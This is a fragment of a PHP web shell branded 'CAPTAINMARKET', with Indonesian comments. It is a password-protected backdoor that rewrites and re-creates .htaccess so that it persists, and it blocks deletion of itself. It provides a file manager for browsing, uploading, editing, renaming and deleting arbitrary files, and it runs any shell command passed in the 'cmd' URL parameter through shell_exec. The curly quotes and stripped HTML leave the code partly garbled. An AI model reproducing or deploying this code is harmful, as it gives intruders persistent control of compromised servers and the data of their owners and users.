‘ . “\n”;
$htaccess .= ‘Order Allow,Deny’ . “\n”;
$htaccess .= ‘Allow from all’ . “\n”;
$htaccess .= ‘‘ . “\n”;
file_put_contents(__DIR__ . ‘/.htaccess’, $htaccess);
}
// ========== AUTH ==========
if (!isset($_SESSION[‘captain_login’]) || $_SESSION[‘captain_login’] !== true) {
if (isset($_POST[‘p’]) && $_POST[‘p’] === $password) {
$_SESSION[‘captain_login’] = true;
header(‘Location: ‘ . $_SERVER[‘PHP_SELF’]);
exit;
}
echo ‘
‘;
exit;
}
// ========== ANTI DELETE (Cron Job) ==========
// Bikin file .htaccess lagi kalo ilang
if (!file_exists(__DIR__ . ‘/.htaccess’)) {
file_put_contents(__DIR__ . ‘/.htaccess’, $htaccess);
}
// ========== FUNGSI FILE MANAGER ==========
$path = isset($_GET[‘d’]) ? realpath($_GET[‘d’]) : getcwd();
if (!$path) $path = getcwd();
if (isset($_GET[‘logout’])) { session_destroy(); header(‘Location: ?’); exit; }
// Delete dengan proteksi (gak bisa hapus file ini)
if (isset($_GET[‘del’]) && $_GET[‘del’] !== basename(__FILE__)) {
@unlink($_GET[‘del’]);
header(‘Location: ?d=’ . urlencode($path));
exit;
}
if (isset($_POST[‘newfolder’])) { @mkdir($path . ‘/’ . $_POST[‘newfolder’]); header(‘Location: ?d=’ . urlencode($path)); exit; }
if (isset($_POST[‘upload’])) {
$tmp = $_FILES[‘file’][‘tmp_name’];
$name = basename($_FILES[‘file’][‘name’]);
$target = $path . ‘/’ . $name;
if (is_uploaded_file($tmp)) { move_uploaded_file($tmp, $target); }
header(‘Location: ?d=’ . urlencode($path));
exit;
}
if (isset($_POST[‘editfile’])) { file_put_contents($_POST[‘file’], $_POST[‘content’]); header(‘Location: ?d=’ . urlencode($path)); exit; }
if (isset($_GET[‘r’])) { rename($_GET[‘r’], dirname($_GET[‘r’]) . ‘/’ . $_GET[‘new’]); header(‘Location: ?d=’ . urlencode($path)); exit; }
// ========== TAMPILAN FILE MANAGER ==========
echo ‘
⚓ CAPTAINMARKET
📁 ‘ . htmlspecialchars($path) . ‘
🚪 Logout
‘;
if (isset($_GET[‘edit’])) {
$f = $_GET[‘edit’];
$content = htmlspecialchars(file_get_contents($f));
echo ‘
‘;
exit;
}
// ========== FILE LIST ==========
echo ‘
| 📁 .. | ||
| ‘; echo is_dir($fp) ? ‘📁 ‘ . $f . ‘‘ : ‘📄 ‘ . $f . ‘‘; echo ‘ |
‘ . (is_dir($fp) ? ‘-‘ : number_format(filesize($fp)) . ‘ B’) . ‘ | ‘; if (!is_dir($fp)) { if ($f !== basename(__FILE__)) { echo ‘✕‘; } else { echo ‘🔒 PROTECTED‘; } echo ‘✎‘; echo ‘⟳‘; } echo ‘ |
‘;
// ========== COMMAND EXEC ==========
if (isset($_GET[‘cmd’])) {
$cmd = $_GET[‘cmd’];
echo ‘
echo ‘
';
echo htmlspecialchars(shell_exec($cmd . ' 2>&1'));
echo '
‘;
}
echo ‘
‘;
echo ‘